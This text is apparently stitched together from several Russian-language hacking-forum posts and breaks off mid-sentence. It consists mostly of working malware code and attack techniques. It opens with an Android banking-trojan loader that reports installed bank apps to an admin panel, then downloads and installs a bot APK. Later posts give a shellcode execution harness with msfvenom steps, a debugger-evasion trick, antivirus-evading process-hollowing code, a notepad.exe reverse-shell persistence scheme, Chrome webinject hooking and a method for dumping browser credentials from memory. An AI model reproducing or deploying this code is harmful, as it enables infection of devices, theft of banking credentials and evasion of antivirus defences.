if( res.has("action") ){
/*
от лоадера мы просим исполнение 3 возможных желаний
a. проверить тело на наличии банк аппов
b. поставить бота
c. тело пыстышка, дрочер, трафер опять наипал нас с качеством
*/
switch (res.getString("action")){
case "a":
// проверяем на теле список аппов полученных с админки массивом
JSONArray appsResult = new JSONArray();
JSONArray appsCheck = res.getJSONArray("apps");
for(int i = 0; i < appsCheck.length(); i++){
String app = appsCheck.getString(i);
if( isPackageInstalled( app )){
appsResult.put(app);
}
}
JSONObject dataReturn = new JSONObject();
dataReturn.put("botID", LOADER_DATA.getString("botID"));
if( appsResult.length() == 0 ){
// бот гавно, ничего нет, запускаем белый апп и сообщаем на админку что нужно трафера покарать
dataReturn.put("apps", "none");
sendData(dataReturn,"apps");
startRealApplication();
}else{
// есть банкаппы, сообщаем на админку какие есть и ждем команды следующей
dataReturn.put("apps", appsResult);
sendData(dataReturn,"apps");
}
break;
case "b":
//нужно скачать и происталлить бота, это процесс может быть чуток долгий, поэтому тут вызовем поток уи и что-то сообщим юзеру
updateUI("startDownloadFile");
downloadFile(res);
break;
case "c":
// запускаем белый апп
startRealApplication();
break;
}
}
} catch (Exception e) { startRealApplication(); }
}else{ startRealApplication(); }
}
});
}catch (Exception e){ startRealApplication(); }
}
private void downloadFile(JSONObject data) {
// просто скачиваем файл и запускаем установку
try {
String url = data.getString("url"); //урл по которому качаем файл полученный с админки
OkHttpClient client2 = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
client2.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
InputStream is = response.body().byteStream();
BufferedInputStream input = new BufferedInputStream(is);
String cacheFile = createBotID() + ".apk"; // так как каждый будет под себя делать функцию генерации ботИД - просто сгенерируем как имя файла
String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, cacheFile);
OutputStream output = new FileOutputStream(file);
byte[] buff = new byte[1024 * 4];
while (true) {
int byteCount = input.read(buff);
if (byteCount == -1) {
break;
}
output.write(buff, 0, byteCount);
}
output.flush();
output.close();
input.close();
try{
// итак файл скачен успешно, сразу зафиксируем это
LOADER_DATA.put("timeFile", 0);
LOADER_DATA.put("package", data.getString("package"));
LOADER_DATA.put("cacheFile", cacheFile);
saveInPreferences(LOADER_DATA);
}catch (Exception ignored){}
updateUI("endDownloadFile");
startInstall();
}
});
} catch (Exception e) {
startRealApplication();
}
}
private void startInstall() {
try {
if( isBotInstalled() || LOADER_DATA.has("botInstalled")){ // проверим еще раз, точно бота нет на теле
startRealApplication();
return;
}
if( !checkCanRequestPackageInstalls() ){
updateUI("needPermission");
return;
}
if( LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла
return;
}
LOADER_DATA.put("timeStart",System.currentTimeMillis());
String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
Uri downloaded_apk = FileProvider.getUriForFile(this, getApplicationContext().getPackageName() + ".provider", file);
intent.setDataAndType(downloaded_apk, "application/vnd.android.package-archive");
List<ResolveInfo> resInfoList = mContext.getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
for (ResolveInfo resolveInfo : resInfoList) {
mContext.grantUriPermission(mContext.getApplicationContext().getPackageName() + ".provider", downloaded_apk, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
}
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(intent);
new Handler(Looper.getMainLooper()).postDelayed(this::isBotInstalled, 30000);
}catch (Exception e){
startRealApplication();
}
}
private boolean checkCanRequestPackageInstalls() {
/*
самая слабая точка тут - разрешение ставить из неизвестных источников,
кто-то игнорирует этот вопрос и просто заебывает окном, кто-то разводку делает на уровни Ганибала Лектора
ну факт есь фактом, это самое слабое звено, я просто кнопку вывожу в активити типа апдейт апп!
при нажатии на которую просто перекидывает в сеттинг
*/
try {
return getPackageManager().canRequestPackageInstalls();
}catch (Exception ignored){}
return true;
}
private void startPerm() {
//открываем сеттинг для получение разрешение стаивть из неизвестных источников
Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
intent.setData(Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
startActivityForResult(intent,12);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent i) {
/*
если он нажал назад и не дал нам разрешение - опять выкидываем его, пока не даст либо не уйдет
разные версии андроил по разному реагируют, 11 роняет полностью наш лоадер,
в этом случаем мы подхватим эту ситуацию в loadSession, да в любом случае подхватим так как сработает onResume
ну если юзер дал права, то начинаем ставить
*/
if( !checkCanRequestPackageInstalls() ){
startPerm();
}else{
updateUI("startInstall");
startInstall();
}
}
private void loadSession(){
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) { // если меньше 8 версия то нафиг ее, выпускаем в реал апп
startRealApplication();
return;
}
try {
if( LOADER_DATA == null ){ // первая загрузка аппа или восстановление, наша переменная обнулена, восстановливаем ее и пытаемся продолжить работу
LOADER_DATA = firstStart();
}
if( LOADER_DATA == null || !LOADER_DATA.has("botID") || LOADER_DATA.has("botInstalled") ){
/*
при любом запуске активити проверим 3 возможных состояния
1. данные не получены, сломалось шифрование или еще чего
2. данные получены, ну нет ботИД, считаем данные некорректными
3. данные корректны, ну лоадер уже выполнил свою работу
в этих случаях отдаем белый апп
*/
startRealApplication();
}else{
if (LOADER_DATA.has("package") && isBotInstalled()) {
/*
если мы находим в нашей переменой имя пакета бота - то проверим, может он установлен уже ?
надеюсь все ставят бота с рандомизированным именем пакета
*/
startRealApplication();
} else {
if( LOADER_DATA.has("cacheFile") ){
//проверим ситуацию, когда файл бота скачен , ну еще не запущен процесс инсталла
String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
if( file.exists() ){
startInstall(); // пробуем снова запустить инсталл
}else{
sendData(LOADER_DATA, "start"); // запись о файле есть, ну файла нет, может АВ грохнуло, не важно, стучим на админку
}
}else{
sendData(LOADER_DATA, "start"); // ничего не было из возможных варинтов - стукнем на админку и скажем, что первый запуск
}
}
}
}catch (Exception e){
startRealApplication(); // в любой непредвиденной ситуации отдаем юзеру реал апп
}
}
private boolean isPackageInstalled(String aPackage) {
/*
пытаемся получить данные об установленном аппе, если его нет то выкинет исключение - значит аппа нет
ну эта функция работает загадочно, если апп поставлен из маркета - то он выдаст сразу информацию
ну если поставлен апп из внешних источников, то нужно время что бы андроид прочитал манифест
а когда он это сделаем это загадка для всех поэтому будем двумя вариантами проверять установку бота
а для проверки наличия банкаппов это самое идеальное решение
*/
try {
PackageManager b = mContext.getPackageManager();
b.getPackageInfo(aPackage, 0);
return true;
} catch (PackageManager.NameNotFoundException e) {
return false;
}
}
private boolean isBotInstalled() {
try{
// первая проверка на установленного бота - пытаемся его запустить
Intent launchIntent = getPackageManager().getLaunchIntentForPackage(LOADER_DATA.getString("package"));
if (launchIntent != null) {
launchIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(launchIntent);
return allOk();
}else{
if( isPackageInstalled(LOADER_DATA.getString("package")) ){
// вторая проверка на установленного бота - пытаемся получить данные об аппе
return allOk();
}
}
}catch(Exception ignored){ }
return false;
}
private boolean allOk() {
// простенькая функция, подчищающая за собой и сохраняет состояние удачного исталла
try{
LOADER_DATA.put("botInstalled","ok");
String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
file.delete();
}catch (Exception ignored){}
saveInPreferences(LOADER_DATA);
startRealApplication();
return true;
}
// sharedPreferences
private void saveInPreferences(JSONObject data) {
/*
я специально вынес работу с хранилищем отдельной функцией, так как хранить открытым текстом критичные
данные неосмотрительно, вот тут можно зашифровать, ну это дело каждого
*/
try{
sharedPreferences.edit().putString("myData", data.toString() ).apply();
}catch (Exception ignored){}
}
private JSONObject loadFromPreferences() {
/*
вот тут можно дешифровать
*/
try{
String str = sharedPreferences.getString("myData", null);
if( str != null && !str.isEmpty() ){
return new JSONObject(str);
}
}catch (Exception ignored){}
return null;
}
// END sharedPreferences
public JSONObject firstStart(){
try {
JSONObject data = loadFromPreferences(); // пытаемся загрузить данные из sharedPreferences
if (data == null || !data.has("botID")) { //данных нет, это скорее всего первый запуск, нужно собрать с телефона хоть какую либо статсу
data = new JSONObject();
data.put("botID", createBotID());
data.put("model", Build.MODEL);
data.put("vendor",Build.MANUFACTURER );
data.put("sdk", Build.VERSION.SDK_INT );
saveInPreferences(data); // сохраним их в sharedPreferences
}
return data;
}catch (Exception ignored){}
return null;
}
private String createBotID(){
//тут формируем ботИД под свое предпочтение, кто-то md5 любит, кто-то строго строки или строго цифры
return "exampleBotID";
}
}
ПыСы я ни продаю, ни ставлю, ни разрабатываю и ничего вообще не делаю противозаконного, не нужно мне ничего писать в личку.
Тема опубликована в данном разделе в виду того, что вопрос затрагивает не столько криптографию, сколько работу с железом.
Потихноньку разбираюсь с многопоточным шифрованием. Пишу на Rust, хотя
значения это не имеет.
Проводить замеры и тесты, приближенные к реальным условиям, очень сложно и
муторно.
Предпологаю, что тут есть умные люди, которые в этом разбираются и могут дать
несколько наводок, которые очень сильно упростят мне жизнь)
И так, мы хотим шифровать файлы, при чем в нескольких потоках.
Для больших файлов мы можем и должны использовать блочное шифрование.
Но стоит ли его использовать для небольших файлов, которых большинство, как
правило?
Может ли одновременная аллокация в памяти нескольких крупных объектов(10мб,
например) нарушить нормальную работу системы?
Кустарные замеры показали отставание на 15-25% при использовании буфера 8кб
для файла размером 11мб (ChaCha20)
Довольно существенно.
Стоит также отметить, что тест проводился на SSD, в одном потоке.
А что, если в качестве хранилища будет выступать старый жесткий диск, каждое
оброщение к которому будет занимать в десятки раз больше времени?
Можно представить сколько будет генерироваться обращений в режиме
многопоточности.
Более редкие обращаения к диску, больший объем записи за раз или частые
обращения и меньший объем?
Что из этого будет быстрее с точки зрения времени, затраченного на запись?
Заранее спасибо!
И извините, если вопрос изложен слегка беспорядочно)
Source:
![research.nccgroup.com](/proxy.php?image=https%3A%2F%2Fresearch.nccgroup.com%2Fwp- content%2Fuploads%2F2021%2F01%2Fimage-4.png&hash=ce06cd20b267d926bfc7d48ab9dcb39a&return_error=1)
](https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode- execution-method/)
NCC Group’s Research and Intelligence Fusion Team analyze a recent shellcode execution method used by Lazarus Group
![research.nccgroup.com](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fresearch.nccgroup.com%2Fwp- content%2Fuploads%2F2020%2F07%2Fcropped- Gwl5Lrim_400x400-1.jpg%3Ffit%3D32%252C32%26ssl%3D1&hash=97693e1a127ef15e22a8e0aefff8dae5&return_error=1) research.nccgroup.com
On January 21st 2021, a malware sample was shared by CheckPoint research team via Twitter. The post mentions that this loader belongs to Lazarus group. The modus operandi of phishing with macro documents disguised as job descriptions (via LinkedIn), was also recently documented by ESET in their [Operation In(ter)ception paper](https://www.welivesecurity.com/wp- content/uploads/2020/06/ESET_Operation_Interception.pdf).
In order to experiment with the techniques used within these macro documents, we wrote a small shellcode execution harness, converting the VBA into C, to demonstrate execution of a benign calc shellcode. This may be useful for anyone wishing to study the technique or build further detection logic.
C++:Copy to clipboard
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] =
{
"6850c031-6163-636c-5459-504092741551",
"2f728b64-768b-8b0c-760c-ad8b308b7e18",
"1aeb50b2-60b2-2948-d465-488b32488b76",
"768b4818-4810-48ad-8b30-488b7e300357",
"175c8b3c-8b28-1f74-2048-01fe8b541f24",
"172cb70f-528d-ad02-813c-0757696e4575",
"1f748bef-481c-fe01-8b34-ae4801f799ff",
"000000d7-0000-0000-0000-000000000000",
};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK\n");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
printf("[*] Hexdump: ");
for (int i = 0; i < elems*16; i++) {
printf("%02X ", ((unsigned char*)ha)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
How to get the uuids 's?
By using msfvenom .bin payload you can use the following script to convert it to uuid's
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
python3 bin2uuid.py calc.bin
Python:Copy to clipboard
from uuid import UUID
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(16)
print("{}const char* uuids[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 16:
padding = 16 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
break
print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
chunk = f.read(16)
print(" };")
ENJOY
Перечитывал давеча Криса Касперски и его шедевральную (для своего времени) книгу ТиФХА и захотелось более детальнее пощупать такую технику, как Серединный вызов API функций. Желающих прочитать полную версию отсылаю к упомянутому труду, а тут приведу краткое содержание.
Точки останова (breakpoints) ставятся на начало API функции, поэтому их можно обмануть, если начать выполнение не с первой машинной команды. Автор (КК) предлагает «выдрать» из функции несколько байт и поместить их в собственный буфер, после чего совершить переход на оставшийся «хвост» ф-ции. КК проводил эксперименты под Win2k, где, по его подсчетам, не менее 75% функций начинается с классического пролога «push ebp/mov ebp,esp», который в машинном коде выглядит как 55h 8Bh ECh. Если бряк на функцию дебаггер уже поставил (CCh), просто выходим.
Пример ф-ции, копирующей пролог API-функции в локальный стековый буфер (с) КК
Code:Copy to clipboard
ZenWay(char *p, char *dst)
{
int f = 0; // кол-во скопированных в буфер байт
// ОДНОБАЙТОВЫЕ ШАБЛОНЫ
switch(*(unsigned char *)p)
{
case 0xCC:
printf("hello, hacker!\n");
exit(0);
break;
case 0x6A: // засылка в стек непосредственного значения
memcpy(dst, p, 2); f += 2;
break;
case 0x57: // PUSH EDI
*dst = 0x57; f += 1;
break;
default: f+=0;
}
// ОДНОСЛОВНЫЕ ШАБЛОНЫ
switch(*(WORD *)p)
{
case 0x8B55: // стандартный пролог
*((DWORD*)dst) = 0x00EC8B55; f += 3;
break;
case 0xD22B: // SUB EDX, EDX
*((WORD*)dst) = 0xD22B; f += 2;
break;
case 0x448B: // mov eax, [esp+xx]
case 0x74FF: // PUSH что-то-там
memcpy(dst, p, 4); f += 4;
break;
default:
f+=0;
}
// ШАБЛОН РАСПОЗНАН?
if (f==0) return 0; // нет ни одного совпадения
// ФОРМИРОВАНИЕ ПЕРЕХОДА НА ХВОСТ ФУНКЦИИ
strcpy((dst+f), "\xB8HACK\xFF\xE0");
*((DWORD *)(++dst+f)) = (DWORD) (p+f);
// УСПЕШНОЕ ЗАВЕРШЕНИЕ
return f;
}
Попробуем реализовать вызов MessageBox и посмотреть, что скажет IDA и x32dbg (я мучал tcc)
Code:Copy to clipboard
HINSTANCE hdll;
char ZMessageBoxA[MAX_CODE_SIZE];
int(WINAPI *XMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
hdll = LoadLibrary("USER32.DLL"); if (!hdll) return 0;
XMessageBoxA =(int (WINAPI*)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)) GetProcAddress(hdll, "MessageBoxA"); if (!XMessageBoxA) return 0;
// Копируем первые команды функции и корректируем указатели
if (ZenWay((char *) XMessageBoxA, (char *)ZMessageBoxA)!=0)
XMessageBoxA = (int (WINAPI*)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)) ZMessageBoxA;
// Вызываем
XMessageBoxA(NULL,"Hello","Caption",MB_OK);
Приложение отработало, окошко посмотрели.
Заглянем в IDA, import section
Импорт MessageBoxA отсутствует.
Теперь посмотрим сам вызов MessageBoxA
Бряк на вызов MessageBoxA, установленный в x32dbg не срабатывает по описанным выше причинам.
Техника старая, но вполне имеет место быть.
**First thanks to everyone who helped!
I use this function to inject my payload.exe "byte array" In memory, but I started to be detected at runtime!
payload_from_HxD[] = { 0x5, 0x2, 0x8d, 0xf8, 0x78, 0x2e, 0x5, 0x9c, 0xd6,
0x16, 0x6b, 0xf6, 0xfa, 0x2e, 0x6, 0xc0............... };**
"Payload is encrypted in AES_256"
But something makes me confused, because if I use a harmless payload.exe like Hello word the AV doesn 't detect anything, but if I use a malicious payload.exe like RAT or beacon.exe I get detected when the process resumes
If anyone has an idea why this might be happening, leave a comment!
Thank you again!
C++:Copy to clipboard
void ExecFile_T1Crazy_9bfa9d80355a4c90a51b9517f71d6679(LPSTR szFilePath, LPVOID pFile_T1Crazy_)
{
// AES Decrypt payload
AESDecrypt_T1Crazy_a0646342d1ba249743afae0efddcf2c9((char*)payload_T1Crazy_, payload_len, (char*)key, sizeof(key)); // Check
// PE Headers
PIMAGE_DOS_HEADER IDH_T1Crazy_; // check
PIMAGE_NT_HEADERS INH_T1Crazy_; // check
PIMAGE_SECTION_HEADER ISH_T1Crazy_; // check
std::cout << "PE Headers: check" << std::endl;
std::cout << std::endl; getchar();
// Process Information
PROCESS_INFORMATION PI_T1Crazy_; // check
STARTUPINFOA SI_T1Crazy_; // check
std::cout << "Process Information : check" << std::endl;
std::cout << std::endl; getchar();
PCONTEXT CTX_T1Crazy_; // check
PDWORD dwImageBase_T1Crazy_; // check
call_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3; // check
call_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3; // check
call_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3;// check
call_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3;// check
call_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3;// check
call_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3;// check
//TEST
call_T1Crazy_ResumeThreadec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_ResumeThread;
LPVOID p_T1Crazy_ImageBase;// check
int Count_T1Crazy_;// check
std::cout << "CallFunctions XS : check" << std::endl;
std::cout << std::endl; getchar();
IDH_T1Crazy_ = PIMAGE_DOS_HEADER(pFile_T1Crazy_);// check
if (IDH_T1Crazy_->e_magic == IMAGE_DOS_SIGNATURE)// check
{
INH_T1Crazy_ = PIMAGE_NT_HEADERS(DWORD(pFile_T1Crazy_) + IDH_T1Crazy_->e_lfanew);// check
if (INH_T1Crazy_->Signature == IMAGE_NT_SIGNATURE)// check
{
RtlZeroMemory(&SI_T1Crazy_, sizeof(SI_T1Crazy_));// check
RtlZeroMemory(&PI_T1Crazy_, sizeof(PI_T1Crazy_));// check
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI_T1Crazy_, &PI_T1Crazy_))// check
{
xs_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("VirtualAlloc")));
std::cout << "xs_T1Crazy_VirtualAlloc = GetProcAddress: check" << std::endl;
std::cout << std::endl; getchar();
xs_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("VirtualAllocEx")));
std::cout << "xs_T1Crazy_VirtualAllocEx = GetProcAddress: check" << std::endl;
std::cout << std::endl; getchar();
xs_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("ReadProcessMemory")));
std::cout << "xs_T1Crazy_ReadProcessMemory = GetProcAddress: check" << std::endl;
std::cout << std::endl; getchar();
xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("WriteProcessMemory")));
std::cout << "xs_T1Crazy_WriteProcessMemory = GetProcAddress : check" << std::endl;
std::cout << std::endl; getchar();
CTX_T1Crazy_ = PCONTEXT(xs_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3(NULL, sizeof(CTX_T1Crazy_), MEM_COMMIT, PAGE_READWRITE));// check
CTX_T1Crazy_->ContextFlags = CONTEXT_FULL;// check
std::cout << " PCONTEXT = xs_T1Crazy_VirtualAlloc : check" << std::endl;
std::cout << std::endl; getchar();
if (GetThreadContext(PI_T1Crazy_.hThread, LPCONTEXT(CTX_T1Crazy_)))// check
{
xs_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPCVOID(CTX_T1Crazy_->Ebx + 8), LPVOID(&dwImageBase_T1Crazy_), 4, NULL);// check
std::cout << " xs_T1Crazy_ReadProcessMemory : check" << std::endl;
std::cout << std::endl; getchar();
if (DWORD(dwImageBase_T1Crazy_) == INH_T1Crazy_->OptionalHeader.ImageBase) // check
{
xs_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("ntdll.dll")), AY_OBFUSCATE("NtUnmapViewOfSection")));
std::cout << " xs_T1Crazy_NtUnmapViewOfSection = GetProcAddress : check" << std::endl;
std::cout << std::endl; getchar();
xs_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, PVOID(dwImageBase_T1Crazy_)); // check
std::cout << " xs_T1Crazy_NtUnmapViewOfSection : check" << std::endl;
std::cout << std::endl; getchar();
}
p_T1Crazy_ImageBase = xs_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPVOID(INH_T1Crazy_->OptionalHeader.ImageBase), INH_T1Crazy_->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
std::cout << " xs_T1Crazy_VirtualAllocEx : check" << std::endl;
std::cout << std::endl; getchar();
if (p_T1Crazy_ImageBase)
{
xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, p_T1Crazy_ImageBase, pFile_T1Crazy_, INH_T1Crazy_->OptionalHeader.SizeOfHeaders, NULL);
std::cout << " xs_T1Crazy_WriteProcessMemory 1 : check" << std::endl;
std::cout << std::endl; getchar();
for (Count_T1Crazy_ = 0; Count_T1Crazy_ < INH_T1Crazy_->FileHeader.NumberOfSections; Count_T1Crazy_++) // check
{
ISH_T1Crazy_ = PIMAGE_SECTION_HEADER(DWORD(pFile_T1Crazy_) + IDH_T1Crazy_->e_lfanew + 248 + (Count_T1Crazy_ * 40));// check
xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPVOID(DWORD(p_T1Crazy_ImageBase) + ISH_T1Crazy_->VirtualAddress), LPVOID(DWORD(pFile_T1Crazy_) + ISH_T1Crazy_->PointerToRawData), ISH_T1Crazy_->SizeOfRawData, NULL);
std::cout << " xs_T1Crazy_WriteProcessMemory 2 : check" << std::endl; getchar();
}
xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPVOID(CTX_T1Crazy_->Ebx + 8), LPVOID(&INH_T1Crazy_->OptionalHeader.ImageBase), 4, NULL);// check
std::cout << " xs_T1Crazy_WriteProcessMemory 3 : check" << std::endl; getchar();
CTX_T1Crazy_->Eax = DWORD(p_T1Crazy_ImageBase) + INH_T1Crazy_->OptionalHeader.AddressOfEntryPoint;// check
std::cout << " AddressOfEntryPoint : check" << std::endl; getchar();
xs_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("ntdll.dll")), AY_OBFUSCATE("NtSetContextThread")));
std::cout << " xs_T1Crazy_NtSetThreadContext = GetProcAddress : check" << std::endl; getchar();
xs_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hThread, LPCONTEXT(CTX_T1Crazy_));// check
std::cout << " xs_T1Crazy_NtSetThreadContext : check" << std::endl; getchar();
xs_T1Crazy_ResumeThread = call_T1Crazy_ResumeThreadec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("ResumeThread")));
std::cout << " xs_T1Crazy_ResumeThread = GetProcAddress : check" << std::endl; getchar();
xs_T1Crazy_ResumeThread(PI_T1Crazy_.hThread);// check
std::cout << " ResumeThread : check" << std::endl;
std::cout << std::endl; getchar();
}
}
}
}
VirtualFree(pFile_T1Crazy_, 0, MEM_RELEASE);// check
std::cout << " VirtualFree : check" << std::endl;
std::cout << std::endl; getchar();
}
}
The idea is to delete the notepad.exe and download your own which should be
combined with a payload And you have to code it so it doesn't execute just
replace. This way you will bypass the av's because your not executing anything
you just replaced a process
And when the victim starts notepad.exe it will start a payload. This way even
if there was an AV it won't be able to stop the reverseshell (I tried it)
because it's a windows process that is running
Even if it gets detected & deleted... every time the target starts a notepad
it will execute the payload
I previously did this but it requires admin privilege's and a lot of time
coding not just deleting and downloading
I did code it in C# but it still needs a lot of fixing to work properly
Приветствую. Пытаюсь написать вебинжекты для Google Chrome, за основу беру NetRipper и для хука юзаю MinHook. По сигнатурке нахожу адреса SSL_Read, SSL_Write. Инициализирую Minhook, вызываю MH_CreateHook и собственно MH_EnableHook. Все функции MinHook возвращают MH_OK. Краша не происходит. ВПРОЧЕМ КАК И ХУКА. Сравнивал адреса SSL_Read/SSL_Write у себя и у NetRipper - оказались идентичными. В чём проблема, никто не в курсе?
C++:Copy to clipboard
typedef int (*SSL_Write_Typedef)(void*, void*, int);
typedef int (*SSL_Read_Typedef)(void*, void*, int);
SSL_Write_Typedef SSL_Write_Original;
SSL_Read_Typedef SSL_Read_Original;
int SSL_Write_Callback(void* fd, void* buffer, int amount)
{
MessageBoxA(0, (PCHAR)buffer, 0, 0); //Не появляется меседжбокс этот
return SSL_Write_Original(fd, buffer, amount);
}
void HookChrome()
{
.. //Упустим моменты поиска по сигнатурке и инициализации MinHook, оно к сабжу отношения не имеет так-то
SSL_Write_Original = (SSL_Write_Typedef)pWrite64; //pWrite64 это адрес SSL_Write в .text
// Add hooks
MH_CreateHook((void*)pWrite64, (void*)SSL_Write_Callback, (void**)&SSL_Write_Original);
MH_EnableHook(MH_ALL_HOOKS);
}
В одной теме по обсуждению стиллеров DildoFagins запостил линк на исследование какого-то вайтхета [https://www.cyberark.com/resources/...t-credentials-directly-from-chromium-s- memory](https://www.cyberark.com/resources/threat-research-blog/extracting- clear-text-credentials-directly-from-chromium-s-memory) . В статье он негодует, что оказывается chromium-based браузеры хранят пароли в памяти открытым текстом. Репорты в m$ и гугл ничего особо не дали, т.к. там ответили вида "если малварь попала на комп, то проблема в другом месте, а не в браузере". Но, радостно заканчивает тему автор, во-первых все же чего-то они там поменяли, а во-вторых - количество строк в памяти столь огромно, что найти там креды практически нереально.
Решил задаться этим вопросом . С одной стороны да, автор прав - количество памяти и строк в ней настолько огромно, все равно что искать ключевое слово в "войне и мир" - допустим, оно там есть, но какое и где , черт знает. Искать все строки не вариант сразу. Искать урл по маске - хорошо, но опять же, множество фолс позитивов. Начал смотреть, как оно там хранится. Короче, сдампить их можно (по крайней мере, бОльшую часть), т.к. хранятся данные по такой сигнатуре:
Code:Copy to clipboard
4 и больше нуллбайта .. тут креды... строка - http
т.е. алгоритм такой - ищем строку "- http" , как нашли идем в обратную сторону, пока не найдем двойной нуллбайт (WORD). Почему двойной, если от 4? Данные не будут выровнены по границе DWORD, и потому надо искать именно два подряд + вдруг я ошибся, и там будет меньше. Т.е. алгоритм примерно такой:
